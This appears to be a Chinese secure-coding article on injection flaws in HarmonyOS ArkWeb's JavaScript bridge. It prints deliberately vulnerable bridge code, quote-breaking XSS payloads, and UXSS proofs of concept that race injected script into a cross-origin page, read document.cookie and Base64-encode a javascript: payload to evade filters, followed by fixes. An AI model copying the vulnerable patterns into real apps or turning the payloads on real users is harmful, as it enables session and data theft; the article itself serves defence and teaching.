搜索

APP

起点课堂会员权益

职业体系课特权

线下行业大会特权

个人IP打造特权

30+门专项技能课

1300+专题课程

12场职场软技能直播

12场求职辅导直播

12场专业技能直播

会员专属社群

荣耀标识

发布

鸿蒙应用安全编码专题系列之Web组件runJavaScript安全

华为开发者联盟

2026-05-22

0 评论 326 浏览 0 收藏

20 分钟

鸿蒙ArkWeb组件提供runJavaScript系列、registerJavaScriptProxy两大核心通信接口，支撑应用Native原生层与前端H5页面的双向数据交互，是鸿蒙混合开发（Hybrid）的核心能力。

其中，runJavaScript系列接口支持Native层主动执行前端JavaScript代码、调用前端自定义函数；registerJavaScriptProxy接口可将Native层方法暴露至H5前端，供前端主动调用，实现完整的双向业务联动。

本原创文章帖发布在华为开发者联盟社区，欢迎开发者前往访问评论交流，更多与该内容相关讨论，请点击原帖查看：鸿蒙应用安全编码专题文章汇总 | 华为开发者联盟

一、背景介绍

鸿蒙ArkWeb组件提供runJavaScript系列、registerJavaScriptProxy两大核心通信接口，支撑应用Native原生层与前端H5页面的双向数据交互，是鸿蒙混合开发（Hybrid）的核心能力。

其中，runJavaScript系列接口支持Native层主动执行前端JavaScript代码、调用前端自定义函数；registerJavaScriptProxy接口可将Native层方法暴露至H5前端，供前端主动调用，实现完整的双向业务联动。

若业务开发过程中，未对前端传入的函数名称、调用参数、跳转URL等外部可控数据进行严格校验、过滤与转义，攻击者可构造恶意攻击载荷，触发脚本注入漏洞。该漏洞可引发信息泄露、业务越权、页面钓鱼、跨域脚本执行等高危风险，严重危害应用业务安全与用户隐私数据。

二、漏洞风险危害分析

2.1 常规XSS漏洞核心危害

当runJavaScript接口的执行脚本、函数名、入参完全由外部可控时，攻击者可注入恶意JS代码，触发跨站脚本攻击（XSS），具体危害如下：

用户隐私与账号信息泄露：恶意脚本可窃取当前页面Cookie、Token、LocalStorage存储数据，以及页面展示的手机号、身份证号等敏感信息，并主动外传至攻击者服务器，造成用户核心数据泄露。
业务越权操作（类CSRF风险）：依托用户已登录的会话状态，恶意脚本可在WebView内自动发起业务接口请求，非法执行修改密码、更换绑定账号、删除业务数据、伪造表单提交等高危操作。
页面伪造与钓鱼攻击：篡改前端页面展示内容，伪造登录、支付、验证码弹窗等交互界面，诱导用户输入密码、短信验证码、银行卡信息等敏感数据，实施钓鱼诈骗。
应用可用性破坏：通过注入死循环、高资源占用类恶意JS代码，造成WebView页面卡死、应用ANR、渲染进程崩溃，直接导致移动端应用无法正常使用。

2.2 高阶UXSS跨页面脚本注入风险

若通过registerJavaScriptProxy将参数可控的runJavaScript接口对外开放，将触发更高危的通用跨站脚本漏洞（UXSS）。

攻击者可借助JSBridge通信通道，在当前Web组件内强制执行任意JS代码，同时结合页面跳转逻辑，将恶意脚本注入跨域、跨页面的全新环境，突破浏览器同源策略限制，实现全域脚本执行、跨域数据窃取等高危攻击，风险危害性远高于常规XSS漏洞。

三、漏洞代码场景与攻击PoC验证

本次漏洞主要覆盖两大核心场景：一是runJavaScript接口脚本注入（含函数名可控、调用参数可控两类子场景）；二是loadUrl接口伪协议注入。以下结合漏洞代码与攻击PoC逐一验证分析。

3.1 runJavaScript 接口注入漏洞

3.1.1 高危漏洞代码示例Native层通过JSBridge对外开放方法，未对前端传入的可控数据做任何安全校验，直接通过字符串拼接方式执行JS脚本，存在原生注入漏洞。

// 1. 定义对外开放的JS桥接对象
class TestObj2 {
  webviewcontroller: webview.WebviewController;

  constructor(webviewcontroller: webview.WebviewController) {
    this.webviewcontroller = webviewcontroller;
  }

  // 场景1：前端可控函数名，直接拼接执行JS
  callWithFuncName(funcName: string) {
    console.log("原生收到：函数名 =", funcName);
    this.webviewcontroller.runJavaScript(`${funcName}('hello H5')`);
  }

  // 场景2：前端可控调用参数，直接字符串拼接
  callWithParams(params: string) {
    console.log("原生收到：参数 =", params);
    this.webviewcontroller.runJavaScript(`onNativeCallback("${params}")`);
  }
}

// 2. 注册JSProxy，将两个高危方法完全暴露给前端H5
this.controller.registerJavaScriptProxy(this.testObjtest2, "appBridge",["callWithFuncName", "callWithParams"]);

3.1.2 常规XSS注入攻击PoC验证

针对函数名可控、参数可控两个场景，构造前端攻击页面，实现基础XSS脚本注入执行：

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>JSBridge XSS 测试</title>
</head>
<body>
<button style="width:800px;height:200px;font-size:30px;" onclick="test1_callWithFuncName()">test1_callWithFuncName</button></br>
<button style="width:800px;height:200px;font-size:30px;" onclick="test2_callWithParams()">test2_callWithParams</button></br>
<script>
    function onNativeCallback(){}
    // 函数名注入测试
    async function test1_callWithFuncName() {
        try {
            appBridge.callWithFuncName('void(alert("测试1-函数名注入成功"))');
        } catch (e) {}
    }
    // 参数闭合注入测试
    async function test2_callWithParams() {
        try {
            let payload = '");alert("测试2-参数注入成功");//';
            appBridge.callWithParams(payload);
        } catch (e) {}
    }
</script>
</body>
</html>

PoC原理解读

函数名可控场景：传入载荷void(alert("测试1-函数名注入成功"))，原生直接执行传入的完整JS脚本，无任何拦截，成功触发弹窗，实现任意JS代码执行。
参数可控场景：通过载荷");alert("测试2-参数注入成功");//实现引号闭合，突破原有代码逻辑，拼接后执行代码为onNativeCallback("");alert("测试2-参数注入成功");//")，注释冗余代码并执行恶意脚本。

3.1.3 UXSS跨页面注入攻击PoC验证函数名可控场景可触发高阶UXSS攻击，突破同源策略限制，在跨域新页面中执行恶意脚本、窃取跨域敏感数据；参数可控场景因新页面无对应回调函数，会抛出语法错误，无UXSS攻击风险。

UXSS攻击PoC代码如下：

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>JSBridge UXSS 测试</title>
</head>
<body>
<button style="width:800px;height:200px;font-size:30px;"
        onclick="triggerPoc('https://github.com/', `console.log('steal cookie : ' + document.cookie)`)">
    UXSS 测试
</button>
<script>
    function triggerPoc(url, code) {
        const currUrl = location.href;
        // 构造跨页面执行载荷，仅新页面生效
        const payload = `
        if (!location.href.startsWith("${currUrl}") && !window.__called) {
            window.__called = true;
            ${code}
        }
    `;
        // 循环调用确保脚本在新页面加载完成后执行
        for (let i = 0; i < 200; i++) {
            setTimeout(function () {
                if (window.appBridge && typeof window.appBridge.callWithFuncName === "function") {
                    window.appBridge.callWithFuncName(payload);
                }
            }, i);
        }
        // 跳转跨域目标页面
        location.href = url;
    }
</script>
</body>
</html>

攻击效果：页面跳转至跨域目标域名后，恶意脚本正常执行，可直接窃取新页面Cookie、本地存储等核心敏感数据，完全突破前端同源安全限制。

参数可控场景无此风险，原因是新页面未定义onNativeCallback方法，会直接抛出 “Uncaught ReferenceError: onNativeCallback is not defined” 的语法错误，攻击失效。如下图所示。

3.2 loadUrl 接口伪协议注入漏洞

除runJavaScript外，Web组件loadUrl/postUrl接口若对外开放且未做协议校验，攻击者可传入javascript:伪协议链接，实现任意JS注入，同时支持UXSS跨页面攻击。

3.2.1 漏洞代码示例

class TestObj3 {
  webviewcontroller: webview.WebviewController;

  constructor(webviewcontroller: webview.WebviewController) {
    this.webviewcontroller = webviewcontroller;
  }

  // 无任何协议校验，直接加载前端传入URL
  loadUrl(url: string) {
    this.webviewcontroller.loadUrl(url);
  }
}

// 对外开放高危方法
this.controller.registerJavaScriptProxy(this.testObjtest3, "appBridge2", ["loadUrl"]);

3.2.2 基础XSS攻击PoC攻击者传入javascript:console.log(111)伪协议载荷，可直接执行任意JS代码，实现基础注入攻击。

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>JSBridge XSS 测试</title>
</head>
<body>

<button style="width:800px;height:200px;font-size:30px;" onclick="loadUrl()">loadUrl</button>
</br>
<script>
        async function loadUrl() {
        try {
            let payload = 'javascript:console.log(111)';
            appBridge2.loadUrl(payload);
        } catch (e) {
        }
    }

</script>
</body>
</html>

3.2.3 UXSS跨页面攻击PoC通过Base64编码规避字符拦截，结合页面跳转逻辑，可实现跨域页面恶意脚本执行与数据窃取。

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>JSBridge XSS 测试</title>
</head>
<body>

<button style="width:800px;height:200px;font-size:30px;"
        onclick="triggerPoc('https://xxx.com', `console.log('steal cookie : ' + document.cookie)`)">
    loadUrl
</button>
<br>

<script>
    function triggerPoc(url, code) {
        const currUrl = location.href;
        
        // 构造 Payload：确保只在特定条件下执行
        const payload = `if (!location.href.startsWith("${currUrl}") && !window.__called) {
                window.__called = true;
                ${code}
            }
        `;
        
        // Base64 编码 Payload (绕过可能的过滤)
        const base64 = btoa(payload);
        
        // 核心攻击：竞态条件
        for (let i = 0; i < 200; i++) {
            setTimeout(function () {
                // 检测是否存在 JSBridge 环境
                if (window.appBridge && typeof window.appBridge.callWithFuncName === "function") {
                    // 漏洞点：调用 loadUrl 执行 JS 协议
                    window.appBridge2.loadUrl(
                        'javascript:' + `eval(atob("${base64}"));`
                    );
                }
            }, i);
        }
        
        // 触发页面跳转
        location.href = url;
    }

</script>
</body>
</html>

执行结果如下图

四、安全防御方案与修复代码

针对函数名可控、参数可控、URL伪协议三类高危漏洞场景，结合鸿蒙官方安全开发规范，制定全覆盖、可落地的防御方案。

4.1 runJavaScript 场景防御策略

函数名可控场景（高危）：优先采用固定白名单校验，仅允许业务预设的合法函数名；叠加正则兜底校验，拦截含特殊字符的非法函数名，彻底杜绝任意函数执行。
参数可控场景：统一使用JSON.stringify()对外部入参转义，自动过滤引号、脚本标签、特殊符号等危险字符，杜绝引号闭合注入风险。

4.2 修复后安全代码示例

class TestObj2 {
  webviewcontroller: webview.WebviewController;

  constructor(webviewcontroller: webview.WebviewController) {
    this.webviewcontroller = webviewcontroller;
  }

  // 函数名可控场景：双重安全校验
  callWithFuncName(funcName: string) {
    // 方案1：函数名白名单校验（优先推荐）
    const ALLOWED_FUNCTIONS = [
      "onNativeCallback",
      "testFunction",
      "userCallback",
      "h5Notify"
    ];
    if (!ALLOWED_FUNCTIONS.includes(funcName)) {
      console.error("非法函数名，已拦截：" + funcName);
      return;
    }

    // 方案2：字符合法性正则兜底校验（仅允许字母、数字、下划线）
    const reg = /^[a-zA-Z0-9_]+$/;
    if (!reg.test(funcName)) {
      console.error("非法函数名，存在特殊字符，已拦截");
      return;
    }

    this.webviewcontroller.runJavaScript(`${funcName}('hello H5')`);
  }

  // 参数可控场景：全局参数转义防御注入
  callWithParams(params: string) {
    console.log("原生收到：参数 =", params);
    // 核心防御：JSON.stringify自动转义所有危险字符，杜绝引号闭合攻击
    this.webviewcontroller.runJavaScript(`onNativeCallback(${JSON.stringify(params)})`);
  }
}

4.3 loadUrl 接口防御策略

对所有传入URL进行协议白名单强制校验，仅放行HTTPS安全协议，拦截javascript:伪协议、HTTP明文协议等高危链接，从根源杜绝伪协议注入攻击。

修复后安全代码示例：

class TestObj3 {
  webviewcontroller: webview.WebviewController;

  constructor(webviewcontroller: webview.WebviewController) {
    this.webviewcontroller = webviewcontroller;
  }

  loadUrl(url: string) {
    if (!url) return;
    const lowerUrl = url.toLowerCase().trim();
    // 强制仅允许HTTPS协议，拦截所有伪协议与明文HTTP协议
    if (!lowerUrl.startsWith("https:")) {
      console.error("非法URL协议，已拦截高危链接：" + url);
      return;
    }
    this.webviewcontroller.loadUrl(url);
  }
}

五、安全建议

基于上述分析，在使用runJavaScript和loadUrl时，有如下几点建议：

最小权限原则：非必要不通过registerJavaScriptProxy对外开放runJavaScript、loadUrl等高风险接口，从根源减少攻击面。
函数名严格校验：若必须开放可指定函数名的接口，优先使用固定白名单机制，禁止任意函数名调用；次选方案通过正则表达式校验函数名的合法性，仅允许字母、数字、下划线。
参数统一转义处理：所有外部可控的JS调用参数，必须通过JSON.stringify()标准化转义，禁止直接字符串拼接。
URL协议白名单管控：所有页面加载接口（loadUrl/postUrl）必须校验协议，仅放行HTTPS协议，禁止伪协议、HTTP明文协议加载。
外部输入全程过滤：所有来自H5的外部输入数据，均需做长度限制、特殊字符过滤、格式校验，杜绝恶意载荷传入原生接口。